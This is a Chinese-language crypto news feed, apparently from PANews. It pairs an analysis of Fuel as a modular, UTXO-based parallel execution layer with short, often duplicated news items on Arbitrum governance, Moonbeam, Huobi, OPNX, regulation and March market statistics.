模块化公链旨在将系统划分为多个模块组件，使其具有区块链的特性，甚至可以拥有DEX、稳定币、NFT和衍生品等子功能。开发人员可以将这些新模块提取出来，任意排序组合，以实现更高级的功能。直到去年下半年，模块化公链才再次被提及，因为以太坊的Layer2方案在那时开始兴起，而Layer2正是实现公链模块化的重要基础和先决条件。 Source: celestia 模块化执行层的竞争格局 以太坊生态系统通过 Layer 2 和 Rollup 等技术实现了执行层与底层区块链的分离，从而提高了可扩展性、安全性和互操作性。目前模块化公链执行层有一些专注于提供数据可用性层的项目，例如 Celestia、LazyLedger 和 DataShards；有一些专注于提供执行层的项目，例如 Optimism、Arbitrum 和 zkSync3；还有一些专注于提供跨链桥接和协议聚合的项目，例如 Polygon、Connext 和 Hop Protocol。 它们都在积极地开发和部署自己的解决方案，并与各种去中心化应用合作，以提升用户体验和网络效率。模块化公链执行层类项目之间存在一定程度的竞争和合作，因为它们都面临着共同的挑战和机遇，我们的评价维度应该始终围绕安全性、可扩展性、互操作性、成本效益这四个指标。笔者总结了以下几类典型项目： Source: Volt 公链大提速 模块化区块链架构可以将区块链的功能分解为不同的层级，例如执行层、安全层和数据可用性层，这可以提高区块链的效率、灵活性和互操作性。并行交易类产品可以利用并行处理的方式执行交易，并通过不同的验证机制来保证金交易的有效性，这可以提高区块链的处理能力、吞吐量和确认速度。它们可以支持更多代币和智能合约，并让用户在不同的区块链之间转移资产，这可以拓展区块链的应用场景，例如DeFi、NFT和Web3。 Arbitrum就是一个基于Optimistic Rollup技术的经典执行层方案，它可以在以太坊上实现高效、低成本和兼容性强的智能合约。 Arbitrum可以利用任意数据（Arbitrary Data）技术来提高交易吞吐量和确认速度。同时，StarkNet作为一个基于ZK-Rollup技术的执行层平台，它可以在以太坊上实现可扩展、安全和隐私保护的去中心化应用。 StarkNet可以利用零知识证明（Zero-Knowledge Proof）技术来保证交易的有效性和数据可用性。这两种路线目前占据了执行层技术路线的主流。 但是，并行处理需要严格的状态访问列表来确保交易不会互相干扰。同时，模块化区块链需要依赖其他层级来提供安全性、共识和数据可用性，这可能会增加复杂度和成本。此外，并行处理可能会降低交易的确认速度，因为需要等待所有并行分支都完成才能确认整个区块。面对这些问题，Fuel作为一个基于UTXO模型的执行层协议，它可以在不同的区块链上运行。 Fuel可以利用并行处理的方式执行交易，并通过优化撤销（Optimistic Yanking）技术让用户在不同的区块链之间转移资产。Fuel使用了一个名为FuelVM的虚拟机器，它可以快速地验证交易和区块，并支持多种代币和智能合约。Fuel采用了一种名为Optimistic Yanking的技术，它可以让用户在不同的区块链之间转移资产，而不需要等待长时间的确认或支付高额的手续费。 Source: vitalik.ca Fuel：执行层的并行交易 Fuel是最早部署在以太坊主网上的Optimistic Rollup，在2020年年底在以太坊上线V1版本。它通过使用与EVM不同的执行模型来提供可扩展性，即基于UTXO的高度可并行化的最小执行系统，支持ETH和所有ERC-20代币。然而因为Fuel V1的用户过少以及不支持智能合约，在上线后一直没有受到用户的欢迎。于是在Fuel V1启动后不久，Fuel的开发团队Fuel Labs就将全部开发重心转移到V2版本，并将其定位为模块化执行层，即为模块化区块链堆栈设计的可验证计算系统。 Fuel最大的特色是其采用全新的VM架构 — — FuelVM，该VM具备其工具链和语言。FuelVM从WASM、EVM和Solana的SeaLevel中汲取特点，最引人注目的潜力是它在UTXO-based数据模型上执行。相比今天的Optimistic Rollups，Fuel的最大区别在于其使用UTXO-based数据模型，而且其第一个版本是以P2P支付为应用场景。Fuel V2有望实现类似以太坊的智能合约，该VM面向应用程序特定的支付Rollup设计，是一个定制VM，为其提供了更多的推理便利，但对于类似以太坊的通用Rollup，则不太明显。 FuelV2的技术堆栈有三个核心支柱，分别为： FuelVM FuelVM旨在减少传统区块链虚拟机架构的浪费处理情况，同时增加开发人员的潜在设计空间。Fuel采用UTXO数据模型，与比特币类似，整个状态以UTXO集的形式表示。不同之处在于，Fuel V2中的一些UTXO是代币UTXO，而另一些是合约UTXO。与代币UTXO不同，合约UTXO除了余额和支出条件外，还具有代码、存储和唯一的合约ID。 UTXO的一个显著特点是它们是原子的，即交易完全消耗它们并创建新的UTXO。对于合约UTXO，Fuel定义了一些新的有效性规则。其中重要的规则包括：合约UTXO被锁定在特殊的任何人都可以消费的支出条件后面；当交易消费合约UTXO时，它会创建一个新的合约UTXO，具有相同的支出条件和合约ID，但可能具有新的存储和余额；在同一交易中使用的合约UTXO可以相互交互。 Fuel的优点是采用UTXO模型使得Fuel区块链可以更快速、高效地进行交易。而它的劣势则在于UTXO模型的实现需要一定的技术难度，且相对于账户模型的实现需要更多的代码量。此外，由于UTXO模型不太适用于智能合约，因此使用合约UTXO时需要遵循新的有效性规则，需要一定的技术知识和经验。但是，Fuel仍然在不断发展和完善，未来有望实现更多的功能和应用场景。 并行交易执行 Fuel 使用UTXO模型形式的严格状态访问列表，因此具有并行执行交易的能力，在计算、状态访问和事务吞吐量方面较具优势）。Fuel是一种基于UTXO模型的区块链，其最大的优势在于其可并行执行交易，这是其它许多区块链所没有的。该技术的核心是通过访问列表(access lists)确定交易将修改的状态部分，从而实现并行执行。 这意味着如果交易花费的UTXOs没有重叠，它们可以被分别执行，从而充分利用多核CPU的性能。这项技术不仅适用于区块内交易，还可以跨区块执行，使得（重新）进入节点的同步速度更快。相比之下，基于账户模型的区块链也可以实现并行执行，但需要更多考虑因素，如访问列表的严格规定。同时，单核性能已经无法满足需求，而多核CPU的使用不断普及，多核处理对于提高执行效率也有着乘法效应。因此，Fuel的并行执行技术将在未来变得越来越重要。 开发者体验 Fuel 使用自己的特定领域语言 Sway和支持工具链 Forc提供较为强大和流畅的开发人员体验。开发环境保留了 Solidity 等智能合约语言的优势，同时采用了 Rust 工具生态系统中引入的范式，并包含利用区块链 VM 的语法。为了解决状态增长的问题，FuelVM采用了两种程序 — — 脚本和谓词，以增强图灵完备的智能合约。 与EVM不同的是，FuelVM的用户不直接调用合约，而是运行脚本来调用多个合约。脚本的美妙之处在于它们是可剪枝的，一旦脚本被执行，就会被完全剪枝，不会对状态造成任何影响。谓词类似于脚本，但在执行期间不会读取合约存储，完全是无状态的。脚本和谓词的主要目的是将FuelVM变成半无状态执行。在FuelVM中，应用程序可以根据应用程序的功能和资源价格，更倾向于状态或执行。此外，Fuel还支持多种复杂应用，如多个本地资产支持、单笔交易中的授权和转移、混币器和隐私应用等，具有很大的灵活性。 Source: Fuel 模块化执行层的通用之路 现今的Rollups的主要价值在于扩展以太坊，并在可能的情况下扩展其功能。Rollups通过以下两种方式扩展以太坊：1.将状态（和执行）转移到链下，即从L1到L2移动它；2.并行计算，即多个Rollups可以同时在以太坊上运行。Rollups通过将部分状态转移到链下来减轻以太坊状态增长的问题，但这并不会奇迹般地消除维护状态的需求。尽管以太坊节点不需要维护它，但Rollup节点必须维护它。 目前，Rollup领域没有太多关注状态优化。相反，大多数关注点集中在减少L1数据上，因为当前数据是Rollup的最昂贵成本项目。大约有2/3的Arbitrum费用以L1 calldata的形式存在。EVM Rollup优化了发布到L1的数据，试图尽可能压缩它以为用户提供更便宜的费用。 但我们没有考虑到的是，成本将在模块化时代发生巨大变化。随着基础层开始大量提供数据（归功于数据可用性采样技术），Rollups很快将享受到数量级更便宜的数据。同时，由于对状态增长的关注较少，状态大小将迅速成为模块化世界中的主要瓶颈。任何区块链，无论是Rollup还是L1，对于增加状态的操作都会对网络产生永久性成本。这些操作不仅消耗当前节点的资源，也消耗未来所有节点的资源。 Source: Bing Ventures 目前，Fuel成功构建了一些示范用例，如AMM、多重签名、预言机和DAO投票等。未来，Fuel团队还计划构建其他产品的示范用例，例如借贷、NFT市场等。虽然基于UTXO的执行方式可能会有些反直觉，但我认为Fuel独特的能力将会催生出新的应用程序，推动当前DeFi空间的能力极限。总之，我对Fuel在模块化堆栈中所带来的潜力感到兴奋。数据可用性层可以扩展数据，但为了完整的去中心化用户体验，我们还需要扩展执行。Fuel有望填补这一空白。 从我们的评价尺度来看，Fuel的安全性是由主网以太坊提供的，这意味着Fuel不需要自己的验证器或共识机制，也不会受到攻击或分叉的风险。 但是，这也意味着Fuel需要依赖以太坊的安全性和稳定性，如果以太坊出现故障或升级，可能会影响Fuel的运行。Fuel的可扩展性是由其高效的交易格式和低延迟的确认时间实现的，这使得Fuel可以在每秒处理数千笔交易，并在几秒内完成交易确认。 但是，这也意味着Fuel需要与其他rollup链竞争资源和用户，如果其他rollup链提供了更高的吞吐量或更低的延迟，可能会影响Fuel的吸引力。 Fuel的互操作性是由其跨链转移功能和多代币支持功能实现的，这使得Fuel可以与以太坊、Arbitrum、Optimism、Polygon等Layer 1和Layer 2网络兼容和互通。 但是，这也意味着Fuel需要与其他跨链解决方案竞争效率和安全性，如果其他跨链解决方案提供了更快、更便宜或更安全的转移服务，也会影响Fuel的竞争力。 未来，Fuel可以支持各种类型的交易和计算，包括转账、支付、智能合约、预言机等。 这使得Fuel可以适应不同的用例和需求，并提供高效和灵活的服务。同时，加快与各种模块化区块链网络进行集成和互操作，包括以太坊2.0、Celestia等。 这将使得Fuel可以利用这些网络的数据可用性和共识安全性，并提供跨链转移和互通功能。Fuel可以通过增加创新和优化其技术方案来进一步提高其执行效率和性能，包括Merkle Patricia Trie、Zero-Knowledge Proofs等。这些举措有望在未来扩大它作为模块化执行层的通用性。  ( 10 min )
    Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案
    PANews 4月6日消息，据CoinDesk报道，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。DAO的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。  ( 1 min )
    Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案
    PANews 4月6日消息，据CoinDesk报道，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。DAO的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。  ( 1 min )

  • Open

    波卡平行链Moonbeam已恢复出块
    PANews 4月6日消息，波卡平行链Moonbeam推特发文称，宕机的根本原因已经确定，团队已通过升级客户端部署了解决方案。Moonbeam已恢复出块。据此前消息，Moonbeam网络于北京时间晚上10:45左右出现宕机事故。  ( 1 min )
    波卡平行链Moonbeam已恢复出块
    PANews 4月6日消息，波卡平行链Moonbeam推特发文称，宕机的根本原因已经确定，团队已通过升级客户端部署了解决方案。Moonbeam已恢复出块。据此前消息，Moonbeam网络于北京时间晚上10:45左右出现宕机事故。  ( 1 min )
    M11 Credit已重新开放贷款业务
    PANews 4月6日消息，加密信用池平台M11 Credit推特发文称，已重新开放贷款业务，并正在为其在Maple Finance上的新加密贷款池筹集新的资金。此外，该公司还任命了一位新的信贷主管，并升级了风险管理和信贷承销流程。据此前消息，去年11月FTX破产后，M11 Credit管理的资金池被借款人拖欠3600万美元，占Maple Finance活跃贷款数量的约30%。  ( 1 min )
    M11 Credit已重新开放贷款业务
    PANews 4月6日消息，加密信用池平台M11 Credit推特发文称，已重新开放贷款业务，并正在为其在Maple Finance上的新加密贷款池筹集新的资金。此外，该公司还任命了一位新的信贷主管，并升级了风险管理和信贷承销流程。据此前消息，去年11月FTX破产后，M11 Credit管理的资金池被借款人拖欠3600万美元，占Maple Finance活跃贷款数量的约30%。  ( 1 min )
    知情人士：币安已拒绝收购孙宇晨在Huobi的股份
    PANews 4月6日消息，据CoinDesk报道，据一位知情人士透露，币安最近已拒绝收购孙宇晨在Huobi的股份。随后孙宇晨在推特发文称，一直将币安视为最重要的合作伙伴之一，并将继续与他们在各个层面密切合作。然而在过去一周，他没有向赵长鹏作出任何收购Huobi股份的提议，他们甚至在过去一周左右的时间里没有讨论过Huobi。Huobi无意变更所有权。据彭博社此前报道，孙宇晨已经就出售Huobi的股份进行了谈判。  ( 1 min )
    知情人士：币安已拒绝收购孙宇晨在Huobi的股份
    PANews 4月6日消息，据CoinDesk报道，据一位知情人士透露，币安最近已拒绝收购孙宇晨在Huobi的股份。随后孙宇晨在推特发文称，一直将币安视为最重要的合作伙伴之一，并将继续与他们在各个层面密切合作。然而在过去一周，他没有向赵长鹏作出任何收购Huobi股份的提议，他们甚至在过去一周左右的时间里没有讨论过Huobi。Huobi无意变更所有权。据彭博社此前报道，孙宇晨已经就出售Huobi的股份进行了谈判。  ( 1 min )
    火必上线“FTX账户查询服务”
    PANews 4月6日消息，据官方消息，火必上线“FTX账户查询服务”，FTX用户可以使用客户代码在火必和Poloniex查询FTX账户余额。如果不清楚客户代码，用户可以通过其在FTX帐户中持有的货币以及大致金额进行模糊搜索。孙宇晨随后推特发文，称他也是FTX的债权人之一，并表示火必致力于与社区合作，确保FTX用户和债权人最终能收回尽可能多的资产。  ( 1 min )
    火必上线“FTX账户查询服务”
    PANews 4月6日消息，据官方消息，火必上线“FTX账户查询服务”，FTX用户可以使用客户代码在火必和Poloniex查询FTX账户余额。如果不清楚客户代码，用户可以通过其在FTX帐户中持有的货币以及大致金额进行模糊搜索。孙宇晨随后推特发文，称他也是FTX的债权人之一，并表示火必致力于与社区合作，确保FTX用户和债权人最终能收回尽可能多的资产。  ( 1 min )
    一比特币巨鲸刚刚转移超1.77万枚BTC，价值约合4.99亿美元
    PANews 4月5日消息，据mempool.space数据显示，一个BTC巨鲸在比特币区块高度 784,060 处（北京时间 22点46分）将177,69 枚BTC 从177个零散地址整理至单一地址，价值约合4.99亿美元。  ( 1 min )
    一比特币巨鲸刚刚转移超1.77万枚BTC，价值约合4.99亿美元
    PANews 4月5日消息，据mempool.space数据显示，一个BTC巨鲸在比特币区块高度 784,060 处（北京时间 22点46分）将177,69 枚BTC 从177个零散地址整理至单一地址，价值约合4.99亿美元。  ( 1 min )
    破产索赔交易所 OPNX上线以来交易额仅为1.26美元
    PANews 4月5日消息，三箭资本 (3AC) 联合创始人Kyle Davies和Su Zhu共同创立的破产索赔交易所 OPNX自周二上线以来交易量极低。在交易所的所有现货和衍生品市场中，截至目前交易额仅为1.26 美元。该交易所的原生代币 FLEX 在过去 24 小时内下跌了 28%。 目前尚不清楚 OPNX 是否在吸引新客户方面遇到问题，或者是否缺乏需求。但此前Kyle Davies称，OPNX 不会有内部做市商，他认为这一决定不会限制流动性。Su Zhu 周二在一条推文中表示，流动性将“一砖一瓦”地建立起来，交易所正在从 FTX 的失败中吸取教训，避免内部做市商。  ( 1 min )
    破产索赔交易所 OPNX上线以来交易额仅为1.26美元
    PANews 4月5日消息，三箭资本 (3AC) 联合创始人Kyle Davies和Su Zhu共同创立的破产索赔交易所 OPNX自周二上线以来交易量极低。在交易所的所有现货和衍生品市场中，截至目前交易额仅为1.26 美元。该交易所的原生代币 FLEX 在过去 24 小时内下跌了 28%。 目前尚不清楚 OPNX 是否在吸引新客户方面遇到问题，或者是否缺乏需求。但此前Kyle Davies称，OPNX 不会有内部做市商，他认为这一决定不会限制流动性。Su Zhu 周二在一条推文中表示，流动性将“一砖一瓦”地建立起来，交易所正在从 FTX 的失败中吸取教训，避免内部做市商。  ( 1 min )
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投
    PANews 4月5日消息，据 Coindesk报道，DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，本轮融资由 Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。 M^ZERO Labs 首席执行官 Luca Prosperi 称，M^ZERO 旨在实现机构价值传输，为支付流动创建一个中立的基础设施。  ( 1 min )
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投
    PANews 4月5日消息，据 Coindesk报道，DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，本轮融资由 Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。 M^ZERO Labs 首席执行官 Luca Prosperi 称，M^ZERO 旨在实现机构价值传输，为支付流动创建一个中立的基础设施。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.05）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.05）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    消息人士：肯尼亚一项新法案“提议扩大证券的定义以包括加密资产”
    PANews 4月5日消息，据肯尼亚经济学家Amboko Julians称，东非国家议会将讨论一项提议将区块链技术和数字货币置于肯尼亚资本市场管理局 (CMA) 管辖范围内的法案。除了寻求纳入区块链和加密货币的定义外，Julians表示该法案还提议“扩大‘证券’的含义以涵盖数字货币。” 对于获得数字货币交易许可证的肯尼亚居民，该法案规定这些人必须在 CMA 注册。他们还需要保留所有数字货币交易的记录，并对任何收益纳税。此外，该法案还建议肯尼亚任何拥有或交易数字货币的人都必须披露持有的加密货币数量，以及这些加密货币的获取和处置时间。如果该法案获得肯尼亚议会通过，从事数字货币交易的人员将需要在六个月内向 CMA 申请许可证。  ( 1 min )
    消息人士：肯尼亚一项新法案“提议扩大证券的定义以包括加密资产”
    PANews 4月5日消息，据肯尼亚经济学家Amboko Julians称，东非国家议会将讨论一项提议将区块链技术和数字货币置于肯尼亚资本市场管理局 (CMA) 管辖范围内的法案。除了寻求纳入区块链和加密货币的定义外，Julians表示该法案还提议“扩大‘证券’的含义以涵盖数字货币。” 对于获得数字货币交易许可证的肯尼亚居民，该法案规定这些人必须在 CMA 注册。他们还需要保留所有数字货币交易的记录，并对任何收益纳税。此外，该法案还建议肯尼亚任何拥有或交易数字货币的人都必须披露持有的加密货币数量，以及这些加密货币的获取和处置时间。如果该法案获得肯尼亚议会通过，从事数字货币交易的人员将需要在六个月内向 CMA 申请许可证。  ( 1 min )
    得克萨斯州进一步削减对比特币矿工的激励措施
    PANews 4月5日消息，得克萨斯州立法者一致通过了一项法案，其将取消对当地比特币挖矿业务的税收优惠。该法案由共和党州参议员 Lois Kolkhorst、Donna Campbell 和 Robert Nichols 发起，旨在取消税收减免，并要求使用超过 10 兆瓦 (MW) 的矿工在国家电网运营商 ERCOT 注册为灵活负载运营商。 对此，比特币矿业倡导公司 Satoshi Action Fund 的首席执行官Dennis Porter在推特上表示，该法案将消除矿工在农村社区创造就业机会的激励措施。  ( 1 min )
    得克萨斯州进一步削减对比特币矿工的激励措施
    PANews 4月5日消息，得克萨斯州立法者一致通过了一项法案，其将取消对当地比特币挖矿业务的税收优惠。该法案由共和党州参议员 Lois Kolkhorst、Donna Campbell 和 Robert Nichols 发起，旨在取消税收减免，并要求使用超过 10 兆瓦 (MW) 的矿工在国家电网运营商 ERCOT 注册为灵活负载运营商。 对此，比特币矿业倡导公司 Satoshi Action Fund 的首席执行官Dennis Porter在推特上表示，该法案将消除矿工在农村社区创造就业机会的激励措施。  ( 1 min )
    灰度GBTC三月日均交易额升至5500万美元，创2022年12月以来新高
    PANews 4月5日消息，据The Block Pro数据显示，灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。此外，三月调整后比特币和以太坊链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。  ( 1 min )
    灰度GBTC三月日均交易额升至5500万美元，创2022年12月以来新高
    PANews 4月5日消息，据The Block Pro数据显示，灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。此外，三月调整后比特币和以太坊链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。  ( 1 min )
    Ultra计划推出Web3游戏市场Ultra Games，将允许用户转售数字游戏
    PANews 4月5日消息，据Decrypt报道，Web3游戏初创公司Ultra计划于4月25日推出其基于Ultra Layer-1网络构建的Ultra Games市场，将允许用户通过二级市场转售其购买的数字游戏。 该公司透露，新的数字PC游戏商店将推出大约60或70款游戏，包括Cards of Ethernity、Cross the Ages、MARS4等Web3游戏，同时也将推出没有NFT或代币元素的传统“Web2”游戏，包括Lords of the Fallen、The Walking Dead: The Telltale Definitive Series和Syberia游戏系列。  ( 1 min )
    Ultra计划推出Web3游戏市场Ultra Games，将允许用户转售数字游戏
    PANews 4月5日消息，据Decrypt报道，Web3游戏初创公司Ultra计划于4月25日推出其基于Ultra Layer-1网络构建的Ultra Games市场，将允许用户通过二级市场转售其购买的数字游戏。 该公司透露，新的数字PC游戏商店将推出大约60或70款游戏，包括Cards of Ethernity、Cross the Ages、MARS4等Web3游戏，同时也将推出没有NFT或代币元素的传统“Web2”游戏，包括Lords of the Fallen、The Walking Dead: The Telltale Definitive Series和Syberia游戏系列。  ( 1 min )
    前Coinbase产品经理 Ishan Wahi可能就内幕交易指控达成和解
    PANews 4月5日消息，据The Block报道，前 Coinbase产品经理Ishan Wahi 及其兄弟 Nikhil Wahi或将以同监管机构的合作为由，就内幕交易等指控达成和解。根据联合法庭文件，“SEC 工作人员建议的任何和解都必须在 SEC 内部进行审查并得到 SEC 专员的批准，然后才能提交法院批准，这一过程可能需要数周时间。”约定书要求美国华盛顿西区地方法院主审此案的法官将原定的4月6日截止日期推迟至 6 月15日。 前Coinbase经理Ishan Wahi于去年7月份因美国加密货币内幕交易案被捕，其于今年2月初对内幕交易指控认罪，改变了他的无罪辩护。但Wahi仍在对证券欺诈指控进行抗辩。据悉，在此案件中，美国证券交易委员会（SEC）将9种加密货币列为证券，分别是AMP、RLY、DDX、XYO、RGT、LCX、POWR、DFX和KROM。需要指出的是，Coinbase此前收到韦尔斯通知，但未被指控在 Wahi 案中有任何不当行为。  ( 1 min )
    前Coinbase产品经理 Ishan Wahi可能就内幕交易指控达成和解
    PANews 4月5日消息，据The Block报道，前 Coinbase产品经理Ishan Wahi 及其兄弟 Nikhil Wahi或将以同监管机构的合作为由，就内幕交易等指控达成和解。根据联合法庭文件，“SEC 工作人员建议的任何和解都必须在 SEC 内部进行审查并得到 SEC 专员的批准，然后才能提交法院批准，这一过程可能需要数周时间。”约定书要求美国华盛顿西区地方法院主审此案的法官将原定的4月6日截止日期推迟至 6 月15日。 前Coinbase经理Ishan Wahi于去年7月份因美国加密货币内幕交易案被捕，其于今年2月初对内幕交易指控认罪，改变了他的无罪辩护。但Wahi仍在对证券欺诈指控进行抗辩。据悉，在此案件中，美国证券交易委员会（SEC）将9种加密货币列为证券，分别是AMP、RLY、DDX、XYO、RGT、LCX、POWR、DFX和KROM。需要指出的是，Coinbase此前收到韦尔斯通知，但未被指控在 Wahi 案中有任何不当行为。  ( 1 min )
    12张图解读加密行业的“强劲三月”
    作者| The Block研究主管@Lars 编译| PANews 对于加密行业而言，尽管遭遇到USDC脱锚、美国商品期货交易委员会起诉币安及其首席执行官赵长鹏等一系列事件的影响，但近期表现依然十分亮眼，下面就让我们用12张图表解读刚刚过去的“强劲三月”。 1、三月调整后链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。 2、三月调整后的稳定币链上交易额增长至8232亿美元，涨幅达到了47.5%；已发行稳定币供应量小幅收缩至1256亿美元，降幅约为2.3%，其中美元稳定币USDT市场份额升至64.1%，USDC的市场份额降幅较大，为24.6%。 据此前报道，Circle在硅谷银行存有约33亿美元的USDC储备金，而由于硅谷银行三月份破产导致USDC一度出现与美元脱锚的问题，不过之后很快得到了解决。 3、比特币矿工收入在三月份也有较大幅度增长，涨幅为20.5%，升至7.554亿美元，而以太坊质押收入增长了19.4%，达到1.251亿美元。以太坊Shanghai-Capella主网升级预计将在4月12日进行，届时质押的ETH将会被允许提取。 4、三月以太坊网络共销毁了92,057枚ETH，价值相当于1.587亿美元。数据显示，以太坊在整个三月期间都处于通缩状态，此外自2021年8月上旬实施EIP-1559以来，以太坊总计销毁了约304万枚ETH，价值约合91.7亿美元。 5、三月以太坊链上NFT市场交易额出现下降，减少至约13.7亿美元，跌幅达到26.32%。值得一提的是，得益于BLUR代币的成功发行，新晋NFT市场Blur在月交易额等指标上已第二次超越OpenSea。 6、合规中心化交易所（CEX）的现货交易额在三月份增加了7%，达到约7126亿美元。 7、三月各大加密货币交易所的市场份额排名如下：币安为78.1%、Coinbase为6.9%，Kraken为3.9%、Binance US为2.5%。 8、灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。 9、在加密期货方面，三月比特币期货未平仓量上涨7.1%，而以太坊期货未平仓量则出现下跌，降幅为5.8%；在期货交易额方面，比特币期货月交易额在三月的涨幅约为64.7%，达到1.26万亿美元。  10、三月芝商所比特币期货未平仓量增加了15.3%，上涨至20.9亿美元，日均成交金额上涨16.5%，升至14.5亿美元。 11、三月芝商所以太坊期货月均交易额达到6590亿美元，涨幅为32.1%。  12、在加密货币期权方面，比特币和以太坊期权持仓量也都出现上涨，其中比特币期权持仓量涨幅高达92%，以太坊期权持仓量涨幅约为33.3%。比特币和以太坊期权交易额同样普涨，其中比特币期权交易额在三月份增长了68.2%，达到296亿美元；以太坊期权交易额涨幅为19.2%，达到124亿美元。  ( 2 min )
    12张图解读加密行业的“强劲三月”
    作者| The Block研究主管@Lars 编译| PANews 对于加密行业而言，尽管遭遇到USDC脱锚、美国商品期货交易委员会起诉币安及其首席执行官赵长鹏等一系列事件的影响，但近期表现依然十分亮眼，下面就让我们用12张图表解读刚刚过去的“强劲三月”。 1、三月调整后链上总交易额增加了48.8%，上涨至2550亿美元，其中比特币链上交易额增长48.3%，以太坊链上交易额涨幅达到了62.7%。 2、三月调整后的稳定币链上交易额增长至8232亿美元，涨幅达到了47.5%；已发行稳定币供应量小幅收缩至1256亿美元，降幅约为2.3%，其中美元稳定币USDT市场份额升至64.1%，USDC的市场份额降幅较大，为24.6%。 据此前报道，Circle在硅谷银行存有约33亿美元的USDC储备金，而由于硅谷银行三月份破产导致USDC一度出现与美元脱锚的问题，不过之后很快得到了解决。 3、比特币矿工收入在三月份也有较大幅度增长，涨幅为20.5%，升至7.554亿美元，而以太坊质押收入增长了19.4%，达到1.251亿美元。以太坊Shanghai-Capella主网升级预计将在4月12日进行，届时质押的ETH将会被允许提取。 4、三月以太坊网络共销毁了92,057枚ETH，价值相当于1.587亿美元。数据显示，以太坊在整个三月期间都处于通缩状态，此外自2021年8月上旬实施EIP-1559以来，以太坊总计销毁了约304万枚ETH，价值约合91.7亿美元。 5、三月以太坊链上NFT市场交易额出现下降，减少至约13.7亿美元，跌幅达到26.32%。值得一提的是，得益于BLUR代币的成功发行，新晋NFT市场Blur在月交易额等指标上已第二次超越OpenSea。 6、合规中心化交易所（CEX）的现货交易额在三月份增加了7%，达到约7126亿美元。 7、三月各大加密货币交易所的市场份额排名如下：币安为78.1%、Coinbase为6.9%，Kraken为3.9%、Binance US为2.5%。 8、灰度的比特币信托基金GBTC日均交易额在三月份增长了67.6%，升至5500万美元，创下自2022年12月以来的新高。 9、在加密期货方面，三月比特币期货未平仓量上涨7.1%，而以太坊期货未平仓量则出现下跌，降幅为5.8%；在期货交易额方面，比特币期货月交易额在三月的涨幅约为64.7%，达到1.26万亿美元。  10、三月芝商所比特币期货未平仓量增加了15.3%，上涨至20.9亿美元，日均成交金额上涨16.5%，升至14.5亿美元。 11、三月芝商所以太坊期货月均交易额达到6590亿美元，涨幅为32.1%。  12、在加密货币期权方面，比特币和以太坊期权持仓量也都出现上涨，其中比特币期权持仓量涨幅高达92%，以太坊期权持仓量涨幅约为33.3%。比特币和以太坊期权交易额同样普涨，其中比特币期权交易额在三月份增长了68.2%，达到296亿美元；以太坊期权交易额涨幅为19.2%，达到124亿美元。  ( 2 min )
    加密创业者遭Tiktok式打压，美国监管高压下的生存“秘诀”
    从互联网到加密圈，华人项目/创业者正面临一场美国监管“大考”。近期，不断有华人基因的企业和高管被美国监管机构起诉，美国似乎正试图通过铁拳手腕来遏制和打压科技和金融创新。 中美关系持续紧张之际，尽管通过数据库拆分、数据本地存储、第三方监测等多种措施满足美国日渐趋严的监管和合规要求，但TikTok作为中国互联网巨头字节跳动布局海外市场的重要产品，仍面临着美国监管“围剿”。 3月23日，一场针对海外版抖音TikTok是否威胁美国国家安全的听证会在美国国会举行。在这场长达5小时的问讯中，TikTok CEO周受资面临了几十位议员许多充满偏见与敌意的连环质问，不仅本人回应被多次中途打断，TikTok还被质疑是“间谍武器”。而这场关于TikTok甚至出海的中国科技公司命运的“鸿门宴”，美国部门对所有指控却并未拿出任何实质性证据。 从最初的行政令到国会听证会，再从与其他美国科技公司共同被传唤到被单独针对，接二连三的质疑背后的核心是，字节跳动是一家中国公司。中国外交部斥责TikTok听证会是“精心设计的政治表演”，认为美国是“一再泛化国家安全概念，滥用国家力量，打压别国企业。” 